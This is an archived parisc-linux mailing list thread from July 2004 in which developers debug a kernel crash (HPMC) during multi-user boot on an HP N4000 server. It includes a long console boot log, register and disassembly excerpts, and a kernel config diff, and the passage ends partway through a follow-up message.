> > do an hpmc after starting some services?
>
> Can you look in /etc/rc2.d/ and start each service by hand until you
> find the one that HPMCs the box?

Umm i can try tommorrow.
I just didn't do it till now because the only thing that is reproducible
is the panic during the init 2, otc it doesn't seems to always hpmc a the=

same plae.
To be more detailed in what i did during previous test:
 t1: the system start and hpmc when gpm start
 t2: rs to restart in s-u and put an exit 0 early in /etc/init.d/gpm and
ctrl-d to launch init 2 -> system hpmc during autofs
 t3: same as t2 but with exit 0 into /etc/init.d/autofs -> system hpmc du=
ring
gpm start
 t4: same as t3 but with exit 0 into /etc/init.d/gpm -> system hpmc (sorr=
y
here I don't remember when)

My bad, I didn't think that it could be a previous started service that
could cause the hpmc :(

>
> > System Responder Address     =3D 0xfffffffffed25000
> > System Requestor Address     =3D 0x000000fffed24000
>
> Requestor is likely a CPU. What is Responder? another CPU?
> console output will tell us and sorry if you already sent it.
>
It possible that I forget it (sorry), here there is:
Booting...
Boot IO Dependent Code (IODC) revision 1


HARD Booted.
palo ipl 1.5 root@c3k Fri May 14 16:17:38 MDT 2004
Skipping extended partition 7 - beyond reach of IPL

Partition Start(MB) End(MB) Id Type
1               1      61   f0 Palo
2              62     306   82 swap
3             307     367   83 ext2
5             368    1953   83 ext2
6            1954    2197   83 ext2

PALO(F0) partition contains:

Information: No console specified on kernel command line. This is normal.=

PALO will choose the console currently used by firmware (serial).Current
command line:
3/vmlinux-2.4.26-64 root=3D/dev/sda5 HOME=3D/ console=3DttyS0 TERM=3Dvt10=
2
 0: 3/vmlinux-2.4.26-64
 1: root=3D/dev/sda5
 2: HOME=3D/
 3: console=3DttyS0
 4: TERM=3Dvt102

<#>    edit the numbered field
'b'    boot with this command line
'r'    restore command line
'l'    list dir
? 0
3/vmlinux-2.4.26-64                     6.8-pa0         rc2-pa0
Current command line:
3/vmlinux-2.6.8-rc2-pa0 root=3D/dev/sda5 HOME=3D/ console=3DttyS0 TERM=3D=
vt102
 0: 3/vmlinux-2.6.8-rc2-pa0
 1: root=3D/dev/sda5
 2: HOME=3D/
 3: console=3DttyS0
 4: TERM=3Dvt102

<#>    edit the numbered field
'b'    boot with this command line
'r'    restore command line
'l'    list dir
? 0   b

Command line for kernel: 'root=3D/dev/sda5 HOME=3D/ console=3DttyS0 TERM=3D=
vt102
palo_kernel=3D3/vmlinux-2.6.8-rc2-pa0'
Selected kernel: /vmlinux-2.6.8-rc2-pa0 from partition 3
ELF64 executable
Entry 00100000 first 00100000 n 3
Segment 0 load 00100000 size 4374912 mediaptr 0x1000
Segment 1 load 00530000 size 346616 mediaptr 0x42e000
Segment 2 load 00588000 size 258181 mediaptr 0x483000
Branching to kernel entry point 0x00100000.  If this is the last
message you see, you may need to switch your console.  This is
a common symptom -- search the FAQ and mailing list at parisc-linux.org

Linux version 2.6.8-rc2-pa0 (root@patst006) (gcc version 3.0.4) #2 Fri Ju=
l
23 09:11:45 CEST 2004
FP[0] enabled: Rev 1 Model 16
The 64-bit Kernel has started...
Determining PDC firmware type: 64 bit PAT.
model 00005d30 00000491 00000000 00000002 27988e5d 100000f1 00000008 0000=
00b2
000000b2
vers  00000301
CPUID vers 18 rev 11 (0x0000024b)
capabilities 0x1
model 9000/800/N4000-55
This Machine has more memory ranges than we support!
Some memory will not be used!
Total Memory: 2048 Mb
On node 0 totalpages: 524288
  DMA zone: 524288 pages, LIFO batch:16
  Normal zone: 0 pages, LIFO batch:1
  HighMem zone: 0 pages, LIFO batch:1
Built 1 zonelists
Kernel command line: root=3D/dev/sda5 HOME=3D/ console=3DttyS0 TERM=3Dvt1=
02 palo_kernel=3D3/vmlinux-2.6.8-rc2-pa0
PID hash table entries: 16 (order 4: 256 bytes)
Console: colour dummy device 160x64
Dentry cache hash table entries: 524288 (order: 10, 4194304 bytes)
Inode-cache hash table entries: 262144 (order: 9, 2097152 bytes)
Memory: 2097152k available
Calibrating delay loop... 1093.63 BogoMIPS
Mount-cache hash table entries: 256 (order: 0, 4096 bytes)
NET: Registered protocol family 16
Searching for devices...
Found devices:
1. Memory at 0xfffffffffedc0000 [192] { 1, 0x0, 0x090, 0x00009 }
2. IKE I/O BC Merced Port at 0xfffffffffed00000 [0] { 7, 0x0, 0x803, 0x00=
00c
}
3. Elroy PCI Bridge at 0xffffffffbffe0000 [0/0] { 13, 0x0, 0x782, 0x0000a=

}
4. Elroy PCI Bridge at 0xffffffffbffe2000 [0/1] { 13, 0x0, 0x782, 0x0000a=

}
5. Elroy PCI Bridge at 0xffffffffbffe4000 [0/2] { 13, 0x0, 0x782, 0x0000a=

}
6. Elroy PCI Bridge at 0xffffffffbffe8000 [0/4] { 13, 0x0, 0x782, 0x0000a=

}
7. Elroy PCI Bridge at 0xffffffffbffea000 [0/5] { 13, 0x0, 0x782, 0x0000a=

}
8. Elroy PCI Bridge at 0xffffffffbfff0000 [0/8] { 13, 0x0, 0x782, 0x0000a=

}
9. Elroy PCI Bridge at 0xffffffffbfff4000 [0/10] { 13, 0x0, 0x782, 0x0000=
a
}
10. Elroy PCI Bridge at 0xffffffffbfff8000 [0/12] { 13, 0x0, 0x782, 0x000=
0a
}
11. IKE I/O BC Merced Port at 0xfffffffffed40000 [1] { 7, 0x0, 0x803, 0x0=
000c
}
12. Elroy PCI Bridge at 0xfffffffffece0000 [1/0] { 13, 0x0, 0x782, 0x0000=
a
}
13. Elroy PCI Bridge at 0xfffffffffece4000 [1/2] { 13, 0x0, 0x782, 0x0000=
a
}
14. Elroy PCI Bridge at 0xfffffffffece8000 [1/4] { 13, 0x0, 0x782, 0x0000=
a
}
15. Elroy PCI Bridge at 0xfffffffffecf0000 [1/8] { 13, 0x0, 0x782, 0x0000=
a
}
16. Elroy PCI Bridge at 0xfffffffffecf4000 [1/10] { 13, 0x0, 0x782, 0x000=
0a
}
17. Elroy PCI Bridge at 0xfffffffffecf8000 [1/12] { 13, 0x0, 0x782, 0x000=
0a
}
18. DEW BC Runway Port at 0xfffffffffed24000 [36] { 7, 0x0, 0x584, 0x0000=
c
}
19. Prelude W+ 540 at 0xfffffffffed25000 [37] { 0, 0x0, 0x5d3, 0x00000 }
20. DEW BC Runway Port at 0xfffffffffed2c000 [44] { 7, 0x0, 0x584, 0x0000=
c
}
21. Prelude W+ 540 at 0xfffffffffed2d000 [45] { 0, 0x0, 0x5d3, 0x00000 }
CONFIG_SMP=3Dn  ignoring additional CPUs
CPU: probe of parisc45 failed with error 1
CPU(s): 1 x PA8600 (PCX-W+) at 550.000000 MHz
SBA found Ike rev 2 at 0xfffffffffed00000
SBA found Ike rev 2 at 0xfffffffffed40000
lba version TR4.0 (0x5) found at 0xffffffffbffe0000
iosapic: no IRTE for 0000:00:04.0 (IRQ not connected?)
lba version TR4.0 (0x5) found at 0xffffffffbffe2000
lba version TR4.0 (0x5) found at 0xffffffffbffe4000
lba version TR4.0 (0x5) found at 0xffffffffbffe8000
lba version TR4.0 (0x5) found at 0xffffffffbffea000
lba version TR4.0 (0x5) found at 0xffffffffbfff0000
lba version TR4.0 (0x5) found at 0xffffffffbfff4000
lba version TR4.0 (0x5) found at 0xffffffffbfff8000
lba version TR4.0 (0x5) found at 0xfffffffffece0000
lba version TR4.0 (0x5) found at 0xfffffffffece4000
lba version TR4.0 (0x5) found at 0xfffffffffece8000
lba version TR4.0 (0x5) found at 0xfffffffffecf0000
lba version TR4.0 (0x5) found at 0xfffffffffecf4000
lba version TR4.0 (0x5) found at 0xfffffffffecf8000
SCSI subsystem initialized
unwind_init: start =3D 0x103fbbc0, end =3D 0x1041e250, entries =3D 8809
Performance monitoring counters enabled for Prelude W+ 540
Initializing Cryptographic API
Soft power switch support not available.
Generic RTC Driver v1.07
Serial: 8250/16550 driver $Revision: 1.90 $ 17 ports, IRQ sharing enabled=

ttyS0 at MMIO 0xffffffff80000000 (irq =3D 132) is a 16550A
ttyS1 at MMIO 0xffffffff80000008 (irq =3D 132) is a 16450
ttyS2 at MMIO 0xffffffff80000010 (irq =3D 132) is a 16550A
ttyS3 at MMIO 0xffffffff80000038 (irq =3D 132) is a 16550A
RAMDISK driver initialized: 16 RAM disks of 6144K size 1024 blocksize
loop: loaded (max 8 devices)
Linux Tulip driver version 1.1.13 (May 11, 2002)
tulip0: no phy info, aborting mtable build
tulip0:  MII transceiver #1 config 1000 status 782d advertising 01e1.
eth0: Digital DS21143 Tulip rev 65 at 0xffffffff80003000, 00:30:6E:1C:B2:=
0B,
IRQ 128.
tulip1:  EEPROM default media type Autosense.
tulip1:  Index #0 - Media MII (#11) described by a 21142 MII PHY (3) bloc=
k.
tulip1: ***WARNING***: No MII transceiver found!
eth1: Digital DS21143 Tulip rev 65 at 0xffffffff8a000000, 00:30:6E:21:14:=
B4,
IRQ 384.
sym0: <895> rev 0x1 at pci 0000:00:01.0 irq 129
sym0: No NVRAM, ID 7, Fast-40, SE, parity checking
sym0: SCSI BUS has been reset.
sym0: SCSI BUS mode change from SE to SE.
sym0: SCSI BUS has been reset.
scsi0 : sym-2.1.18j
Using anticipatory io scheduler
  Vendor: SEAGATE   Model: ST39103LW         Rev: HP04
  Type:   Direct-Access                      ANSI SCSI revision: 02
sym0:8:0: tagged command queuing enabled, command queue depth 16.
scsi(0:0:8:0): Beginning Domain Validation
sym0:8: wide asynchronous.
sym0:8: FAST-20 WIDE SCSI 40.0 MB/s ST (50.0 ns, offset 15)
scsi(0:0:8:0): Domain Validation skipping write tests
scsi(0:0:8:0): Ending Domain Validation
sym1: <875> rev 0x37 at pci 0000:00:02.0 irq 130
sym1: No NVRAM, ID 7, Fast-20, SE, parity checking
sym1: SCSI BUS has been reset.
scsi1 : sym-2.1.18j
sym2: <875> rev 0x37 at pci 0000:00:02.1 irq 131
sym2: No NVRAM, ID 7, Fast-20, SE, parity checking
sym2: SCSI BUS has been reset.
scsi2 : sym-2.1.18j
st: Version 20040403, fixed bufsize 32768, s/g segs 256
SCSI device sda: 17783112 512-byte hdwr sectors (9105 MB)
SCSI device sda: drive cache: write back
 sda: sda1 sda2 sda3 sda4 < sda5 sda6 sda7 sda8 sda9 sda10 sda11 sda12 >
Attached scsi disk sda at scsi0, channel 0, id 8, lun 0
Attached scsi generic sg0 at scsi0, channel 0, id 8, lun 0,  type 0
md: linear personality registered as nr 1
md: raid0 personality registered as nr 2
md: raid1 personality registered as nr 3
md: md driver 0.90.0 MAX_MD_DEVS=3D256, MD_SB_DISKS=3D27
NET: Registered protocol family 2
IP: routing cache hash table of 16384 buckets, 128Kbytes
TCP: Hash tables configured (established 524288 bind 65536)
NET: Registered protocol family 1
NET: Registered protocol family 17
md: Autodetecting RAID arrays.
md: autorun ...
md: ... autorun DONE.
kjournald starting.  Commit interval 5 seconds
EXT3-fs: mounted filesystem with ordered data mode.
VFS: Mounted root (ext3 filesystem) readonly.
Freeing unused kernel memory: 256k freed
INIT: version 2.85 booting
Usage: vt-is-UTF8 [option]
valid options are:
	-q  --quiet    don't print result
	-h --help      display this help text and exit
	-V --version   display version information and exit
Activating swap.
Adding 250872k swap on /dev/sda2.  Priority:-1 extents:1
Checking root file system...
fsck 1.35 (28-Feb-2004)
/dev/sda5: clean, 58224/203008 files, 274675/406012 blocks
EXT3 FS on sda5, internal journal
System time was Fri Jul 23 08:18:46 UTC 2004.
Setting the System Clock using the Hardware Clock as reference...
System Clock set. System local time is now Fri Jul 23 08:18:48 UTC 2004.
Not running depmod because /lib/modules/2.6.8-rc2-pa0/ is not writeable.
Loading modules...
All modules loaded.
FATAL: Could not load /lib/modules/2.6.8-rc2-pa0/modules.dep: No such fil=
e
or directory
Checking all file systems...
fsck 1.35 (28-Feb-2004)
/dev/sda3: clean, 40/15616 files, 46384/62464 blocks
/dev/sda6: clean, 5954/62496 files, 180281/249840 blocks
/dev/sda7: clean, 15/31232 files, 8069/124912 blocks
/dev/sda8: clean, 176/31232 files, 24441/124912 blocks
/dev/sda9: clean, 93347/250368 files, 398546/499964 blocks
/dev/sda10: clean, 2374/250368 files, 313754/499964 blocks
/dev/sda11: clean, 81794/250368 files, 318045/499964 blocks
Loading the saved-state of the serial devices from /etc/serial.conf
Setting kernel variables ...
... done.
Mounting local filesystems...
kjournald starting.  Commit interval 5 seconds
EXT3 FS on sda3, internal journal
EXT3-fs: mounted filesystem with ordered data mode.
kjournald starting.  Commit interval 5 seconds
EXT3 FS on sda6, internal journal
EXT3-fs: mounted filesystem with ordered data mode.
kjournald starting.  Commit interval 5 seconds
EXT3 FS on sda7, internal journal
EXT3-fs: mounted filesystem with ordered data mode.
kjournald starting.  Commit interval 5 seconds
EXT3 FS on sda8, internal journal
EXT3-fs: mounted filesystem with ordered data mode.
kjournald starting.  Commit interval 5 seconds
EXT3 FS on sda9, internal journal
EXT3-fs: mounted filesystem with ordered data mode.
kjournald starting.  Commit interval 5 seconds
EXT3 FS on sda10, internal journal
EXT3-fs: mounted filesystem with ordered data mode.
kjournald starting.  Commit interval 5 seconds
EXT3 FS on sda11, internal journal
EXT3-fs: mounted filesystem with ordered data mode.
/dev/sda3 on /boot type ext3 (rw)
/dev/sda6 on /var type ext3 (rw)
/dev/sda7 on /tmp type ext3 (rw)
/dev/sda8 on /home type ext3 (rw)
tmpfs on /var/Tmp type tmpfs (rw)
/dev/sda9 on /usr/src type ext3 (rw)
/dev/sda10 on /Sources type ext3 (rw)
/dev/sda11 on /Develop type ext3 (rw)
Cleaning /tmp /var/run /var/lock.
Discovering hardware: sym53c8xx
FATAL: Could not load /lib/modules/2.6.8-rc2-pa0/modules.dep: No such fil=
e
or directory
Skipping sym53c8xx; assuming it is compiled into the kernel.
Running 0dns-down to make sure resolv.conf is ok...done.
Cleaning: /etc/network/ifstate.
Setting up IP spoofing protection: rp_filter.
Configuring network interfaces...done.
Starting portmap daemon: portmap.

Setting the System Clock using the Hardware Clock as reference...
System Clock set. Local time: Fri Jul 23 10:18:54 CEST 2004

Initializing random number generator...done.
Recovering nvi editor sessions... done.
Setting up X server socket directory /tmp/.X11-unix...done.
Setting up ICE socket directory /tmp/.ICE-unix...done.
INIT: Entering runlevel: 2
Starting system log daemon: syslogdmodprobe: FATAL: Could not load /lib/m=
odules/2.6.8-rc2-pa0/modules.dep:
No such file or directory

.
Starting kernel log daemon: klogd.
Starting portmap daemon: portmap.
Starting GKrellM monitoring daemon: gkrellmd.
Starting internet superserver: inetd.
Starting printer spooler: lpd .
Not starting NFS kernel daemon: No exports.

************* SYSTEM ALERT **************
SYSTEM NAME: ap8002
DATE: 07/23/2004 TIME: 08:19:01
ALERT LEVEL: 7 =3D reserved

REASON FOR ALERT
SOURCE: 0 =3D unknown, no source stated
SOURCE DETAIL: 0 =3D unknown, no source stated   SOURCE ID: FF
PROBLEM DETAIL: 0 =3D no problem detail

LEDs:  RUN      ATTENTION     FAULT     REMOTE     POWER
       FLASH    OFF           OFF       ON         ON
LED State: Running non-OS code. (i.e. Boot or Diagnostics)

0x0000107000FF6292 000000FF FF800000 - type  0 =3D Data Field Unused
0x5800187000FF6292 00006806 17081301 - type 11 =3D Timestamp 07/23/2004 0=
8:19:01
A: ack read of this entry - X: Disable all future alert messages
Anything else skip redisplay the log entry
->Choice:x
*****************************************

CAUTION: System Alerts have been disabled. This will re-enable with
a re-boot or power-on of the system. To re-enable system alerts now, you
may use the AC (Alert Display Configuration) command.

************* SYSTEM ALERT **************
Alert messages are now disabled. Enter Commands Interface AC command to
enable them again
*****************************************
=3D=3D=3D=3D=3D=3D=3D=3D=3D><=3D=3D=3D=3D=3D=3D=3D=3D=3D

So if I well understand the responder is the CPU and requestor is:
18. DEW BC Runway Port at 0xfffffffffed24000 [36] { 7, 0x0, 0x584, 0x0000=
c
}
?

> > I doubt that help but the IAOQ
> > IAOQ =3D 0x00000000101064b8 for CPU[1]
> > pointing to
> > Func: L4^B1, Off: 0xb8, Addr: 0x101064b8
> >
> >     101064b0:	2f 10 12 2f 	fstd,ma fr15,8(,r24)
> >     101064b4:	2f 10 12 30 	fstd,ma fr16,8(,r24)
> >     101064b8:	2f 10 12 31 	fstd,ma fr17,8(,r24)
> >     101064bc:	2f 10 12 32 	fstd,ma fr18,8(,r24)
>
> Context switch code or setting up initial state.
umm as already in 'init 2' so I presume much more Contest switch?

> > while iirc gr[2] is the rp and point to Func: do_no_page, Off: 0x274,=

Addr:
> > 0x10182f04
> >
> > GR[02] =3D=3D rp =3D 0000000010182f04
> >
> > Func: do_no_page, Off: 0x274, Addr: 0x10182f04
> >
> >     10182f00:	08 da 0a 3a 	add,l r26,r6,r26
> >     10182f04:	08 0a 02 5b 	copy r10,dp
> >     10182f08:	34 19 00 80 	ldi 40,r25
> >     10182f0c:	2b 6b 00 00 	addil 16000,dp,%r1
> >
> > What did I missed (is there some relationship between?) ?
>
> I don't know.
Was it the right gr to observe
(I am a still a bit confused because there are also gr31 for long branch
but I don't yet understand when it is still relevant ?)

> > And a bit different then <http://lists.parisc-linux.org/pipermail/par=
isc-linux/2004-July/024163.html>
> > where the panic seems to occurs earlier?
>
> It might be. But it's certainly not the identical problem since N-class=

> does not have SuckyIO and it's USB problems.

Agree (one common thing was running a UP kernel on a SMP capable system)


That said, I also grab the precompile one:
http://cvs.parisc-linux.org/download/linux-2.6/autobuild/n4000_defconfig/=
palinux-n4000-defconfig-2.6.8-rc2-pa1_0-2_all.deb
that doesn't help (btw this hpmc just after the print 'INIT 2' :( )

Also,  the last kernel runing fine on this system (even with DISCONTIGMEM=
)
was a 2.6.7-pa7 + the Randolph patch called 'try 2' with a config file ne=
ar
the a500_defconfig file (n4000_defconfig wasn't yet available)
On the other hand b2k running fine with c3000_defconfig + 64bit.

So I trust that could be a pb of config file; I so get back the 2.6.7-pa7=

the operational one but doesn't still help but there are still some diff:=

# diff -Nau config-2.6.7+rc-operational config-2.6.8-rc2-pa1-NotYetWorkin=
g
| grep "[+-]CONFIG"
+CONFIG_PREVENT_FIRMWARE_BUILD=3Dy
+CONFIG_UDF_NLS=3Dy
+CONFIG_FAT_DEFAULT_CODEPAGE=3D437
+CONFIG_FAT_DEFAULT_IOCHARSET=3D"iso8859-1"
+CONFIG_CRC_CCITT=3Dm

still have to test the two first y (not in b2k config?)

I will come back to you asap with more results.

Thanks again for your attention,
    Joel


-------------------------------------------------------------------------=
--
Tiscali ADSL LIGHT, 19,95 EUR/mois pendant 6 mois, c'est le moment de fai=
re
le pas!
http://reg.tiscali.be/default.asp?lg=3Dfr




_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] k-2.6.8-rc2-pa0 failled to boot in multi-user on
	N4k
Date: Mon, 26 Jul 2004 21:15:09 -0600
Lines: 30
Approved: news@gmane.org
Message-ID: <20040727031509.GB22621@colo.lackof.org>
References: <40FB87C4000034E9@ocpmta3.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624465 25647 80.91.229.3 (22 Nov 2014 02:47:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:45 +0000 (UTC)
Cc: List Parisc <parisc-linux@parisc-linux.org>
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: - Wed Jul 02 21:27:43 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 15212 invoked by uid 65534); 27 Jul 2004 03:15:53 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx053) with SMTP; 27 Jul 2004 05:15:53 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 1E4263BE6C; Mon, 26 Jul 2004 21:15:50 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 31631-10; Mon, 26 Jul 2004 21:15:49 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 751183BE60; Mon, 26 Jul 2004 21:15:26 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 86BD73BE06
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 26 Jul 2004 21:15:18 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 32523-03 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 26 Jul 2004 21:15:17 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 5DA1F3BDEB
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 26 Jul 2004 21:15:17 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id C46E14946CE; Mon, 26 Jul 2004 21:15:16 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by palinux.hppa (Postfix) with ESMTP
	id 14D954946C0; Mon, 26 Jul 2004 21:15:15 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id 981A329810D; Mon, 26 Jul 2004 21:15:10 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 22322-09; Mon, 26 Jul 2004 21:15:10 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id F0FBA298028; Mon, 26 Jul 2004 21:15:09 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <40FB87C4000034E9@ocpmta3.freegates.net>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24883

On Mon, Jul 26, 2004 at 06:42:45PM +0200, Joel Soete wrote:
> Umm i can try tommorrow.
> I just didn't do it till now because the only thing that is reproducible
> is the panic during the init 2, otc it doesn't seems to always hpmc a the
> same plae.

Well you can rule out any scripts that are started during "init 1".
Most likely, this is a bug related to networking.

> > > System Responder Address     = 0xfffffffffed25000
> > > System Requestor Address     = 0x000000fffed24000
> >
> > Requestor is likely a CPU. What is Responder? another CPU?
> > console output will tell us and sorry if you already sent it.
> >
> It possible that I forget it (sorry), here there is:

It is the second CPU.
So IPI is either not working or the second CPU is trying to start.
Can you try with ""maxcpus=1" and again with "nosmp"?
(see http://www.ibiblio.org/mdw/HOWTO/BootPrompt-HOWTO-3.html#ss3.4
for a description of those.)

grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: FW: Re: [parisc-linux] k-2.6.8-rc2-pa0 failled to boot in
	multi-user
Date: Wed, 28 Jul 2004 17:08:47 +0200
Lines: 61
Approved: news@gmane.org
Message-ID: <40FB9ACA000045A9@ocpmta1.freegates.net>
References: <40FB87C400003EB8@ocpmta3.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="ISO-8859-1"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416624466 25648 80.91.229.3 (22 Nov 2014 02:47:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:46 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:43 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 27777 invoked by uid 65534); 28 Jul 2004 15:10:01 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx023) with SMTP; 28 Jul 2004 17:10:01 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id D7F953BE62; Wed, 28 Jul 2004 09:09:50 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 20606-01; Wed, 28 Jul 2004 09:09:27 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 0D0BF3BE53; Wed, 28 Jul 2004 09:08:56 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0E3C83BE43
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 28 Jul 2004 09:08:50 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 20471-01 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 28 Jul 2004 09:08:50 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id C9E2D3BDDB
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 28 Jul 2004 09:08:49 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id 4B9DF4946BA; Wed, 28 Jul 2004 09:08:49 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.tiscali.be (webmail-benelux.tiscali.be [62.235.14.106])
	by palinux.hppa (Postfix) with ESMTP id BEFB94946B6
	for <parisc-linux@parisc-linux.org>;
	Wed, 28 Jul 2004 09:08:48 -0600 (MDT)
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP;
	Wed, 28 Jul 2004 17:08:47 +0200
In-Reply-To: <40FB87C400003EB8@ocpmta3.freegates.net>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24884


A small followup:

> > And I test it obiously (I just move cron atd and inetd with a .SAV ex=
tension;
> > that should be enough?) but unfortunately it doesn't help (the system=

> always
> > do an hpmc at the same palce:( ).
> > Even if I DECONFIGURE the second CPU?
> >
> > I haven't any more idea. (was it a pb already in 2.6.7>pa7 which I mi=
ssed
